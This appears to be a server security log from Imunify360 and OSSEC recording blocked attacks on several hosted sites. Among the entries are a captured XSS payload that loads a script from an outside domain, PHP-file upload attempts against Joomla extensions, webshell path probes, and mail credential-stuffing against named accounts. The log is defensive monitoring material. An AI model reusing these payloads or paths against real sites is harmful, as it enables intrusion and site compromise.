IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/46706066 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 95.234.93.103
country_id: 3175395
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95088.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:48c0c43e332889d2464c43b27c9294d7b54af140||Title:0x93ef00c1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.174.145.35
country_id: 1269750
description:
Jul 21 16:08:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.174.145.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-21 16:08:48 dovecot_login authenticator failed for H=([49.124.159.193]) [103.174.145.35]:41207: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.7.114.69
country_id: 6252001
description:
Jul 21 16:08:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.7.114.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-21 16:08:49 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([49.124.151.72]) [68.7.114.69]:56256: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.243.68.166
country_id: 2658434
description:
Jul 21 16:08:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.243.68.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.243.68.166
country_id: 2658434
description:
2026-07-21 16:08:19 dovecot_login authenticator failed for H=([37.34.237.45]) [212.243.68.166]:57136: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.44.36.251
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/641187380 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.251.121.103
country_id: 241170
description:
2026-07-21 16:09:47 H=([196.251.121.103]) [196.251.121.103]:50315 F=<henry@mailling.co.uk> rejected RCPT <mbt@globalgroupoman.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 16:09:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.49.36.130
country_id: 1819730
description:
2026-07-21 16:11:00 dovecot_plain authenticator failed for H=n1164936130.netvigator.com (ourry) [116.49.36.130]:34251: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.49.36.130
country_id: 1819730
description:
Jul 21 16:10:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.49.36.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.92.76.210
country_id: 1694008
description:
Jul 21 16:11:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.92.76.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-21 16:11:35 dovecot_login authenticator failed for H=([171.35.134.243]) [119.92.76.210]:43506: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.1.51.168
country_id: 2635167
description:
Jul 21 16:11:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.1.51.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-21 16:11:57 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([121.169.236.186]) [80.1.51.168]:47140: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.191.221.83
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7a2032909 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.98.35
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pasystems HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.35.134.225
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9e3827300 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 157.90.134.221
country_id: 2921044
domain: www.apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=10536||QS:add-to-cart=10536||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.104.166.110
country_id: 1835841
description:
Jul 21 16:22:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.104.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-21 16:22:48 dovecot_login authenticator failed for H=([136.29.52.7]) [211.104.166.110]:59687: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.99.181.123
country_id: 2661886
description:
Jul 21 16:22:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.99.181.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-21 16:22:17 dovecot_login authenticator failed for H=(213-66-197-199-no2550.tbcn.telia.com) [65.99.181.123]:48744: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 157.90.134.221
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=10306||QS:add-to-cart=10306||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 16:24:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 157.90.134.221
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10536||QS:add-to-cart=10536||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.177.156.227
country_id: 290557
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2025/11/05/es50.jpg HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 21 16:27:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 107.151.10.2
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcew43fmipu.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 107.151.10.2
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce7p8s1d4r.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 16:33:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 16:37:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 21 16:37:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 107.151.10.2
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceq4u20x9b.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-21 16:41:23 dovecot_login authenticator failed for H=([183.11.220.66]) [45.82.109.136]:34066: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.94.109.122
country_id: 6252001
description:
Jul 21 16:41:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.94.109.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.94.109.122
country_id: 6252001
description:
2026-07-21 16:41:42 dovecot_login authenticator failed for H=([60.220.241.51]) [173.94.109.122]:35646: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/ddgalaxy/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.115.237.19
country_id: 3923057
description:
Jul 21 16:44:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.115.237.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.115.237.19
country_id: 3923057
description:
2026-07-21 16:44:20 dovecot_login authenticator failed for H=(119.92.172.100.static.pldt.net) [181.115.237.19]:55229: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.84.37.70
country_id: 3923057
description:
2026-07-21 16:44:38 dovecot_login authenticator failed for H=([183.171.154.64]) [138.84.37.70]:8872: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.94.205.12
country_id: 2264397
description:
2026-07-21 16:45:02 dovecot_login authenticator failed for H=a95-94-205-12.cpe.netcabo.pt ([49.124.149.48]) [95.94.205.12]:48686: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.143.41.230
country_id: 3996063
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:97831.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b81731339786cfa40b38dc3f8dd95cf345ff9125||Title:0x1c4dd46b||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.84.37.70
country_id: 3923057
description:
Jul 21 16:44:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.84.37.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.94.205.12
country_id: 2264397
description:
Jul 21 16:45:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.94.205.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 107.151.10.2
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcedo1h3u1a.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.178.12.129
country_id: 587116
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/512292920 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/kallanigroup/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.205.36.44
country_id: 718075
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5f1716466 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 205.185.223.92
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/733836051 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.211.208.125
country_id: 2661886
description:
Jul 21 16:52:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.211.208.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-21 16:52:25 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([121.202.205.173]) [217.211.208.125]:55652: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.187.78.189
country_id: 1269750
description:
Jul 21 16:52:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.187.78.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-21 16:52:35 dovecot_login authenticator failed for H=(70-91-135-181-ma-ne.hfc.comcastbusiness.net) [103.187.78.189]:41082: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 21 16:56:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-21 16:59:31 dovecot_login authenticator failed for H=([183.98.212.74]) [49.206.194.29]:46738: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.59.162.146
country_id: 597427
description:
Jul 21 16:59:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.59.162.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-21 16:59:43 dovecot_login authenticator failed for H=([60.220.241.51]) [2.59.162.146]:60612: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.194.29
country_id: 1269750
description:
Jul 21 16:59:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.194.29 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.181.128.68
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a02179293 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://bbarlock.com/index.php/B%C3%AD_quy%E1%BA%BFt_ch%E1%BB%8Dn_h%E1%BA%A1t_gi%E1%BB%91ng_c%C3%A0_ph%C3%AA_chu%E1%BA%A9n_nh%C3%A0_v%C6%B0%E1%BB%9Dn\">Visit this link</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.254.94.145
country_id: 1269750
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85071.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e83f80803ef5ddc8bd02a7722480ebd4d305873f||Title:0x6240fac0||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 17:06:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.35.177.181
country_id: 3175395
description:
2026-07-21 17:06:30 dovecot_login authenticator failed for H=host-85-35-177-181.business.telecomitalia.it ([182.95.185.14]) [85.35.177.181]:33250: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.188
country_id: 1835841
description:
Jul 21 17:06:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-21 17:06:19 dovecot_login authenticator failed for H=([112.162.71.248]) [120.29.140.188]:37209: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.35.177.181
country_id: 3175395
description:
Jul 21 17:06:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.35.177.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77562131
abuser: 142.247.217.74
country_id: 102358
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[attachment]||MV:ic_be67ffd020.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.51.87.94
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://lovealba.co.kr/\">\xea\xb3\xa0\xed\x8e\x98\xec\x9d\xb4\xec\x95\x8c\xeb\xb0\x94</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: idealloanz.com.au
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.32||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//thistleobservatory.top/oauth/reset-dom.js></script>||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 17:24:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://acrepair3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.221.207
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1e1891955 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 21 17:28:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 17:28:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/futuracarecom/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: gsmex.global
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/gsmex/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/interceptorgloba/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/vrishenterprises/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.18.158.119
country_id: 1210997
description:
Jul 21 17:40:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.18.158.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacrepair3.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 17:49:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.219.27.142
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/assets/client/GR-57.jpg HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-21 17:54:52 dovecot_login authenticator failed for H=([195.133.156.133]) [89.121.255.194]:36636: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-21 17:55:04 dovecot_login authenticator failed for H=([187.93.174.51]) [50.212.27.150]:57810: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.168.187.174
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5b2379344 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.79.133.40
country_id: 1210997
description:
Jul 21 17:57:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.79.133.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 17:56:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.79.133.40
country_id: 1210997
description:
2026-07-21 17:57:10 dovecot_login authenticator failed for H=mail.ieducationbd.com ([121.171.95.112]) [144.79.133.40]:38414: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jul 21 17:57:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-21 17:57:35 dovecot_login authenticator failed for H=([31.173.31.109]) [203.252.10.3]:26176: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.208.42
country_id: 1269750
description:
Jul 21 17:58:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.208.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-21 17:58:15 dovecot_login authenticator failed for H=(111-70-38-53.emome-ip.hinet.net) [128.185.208.42]:59746: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-21 17:58:26 dovecot_login authenticator failed for H=([174.64.199.92]) [131.161.184.46]:54930: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 203.147.140.184
country_id: 1831722
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/ibmcglobal/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
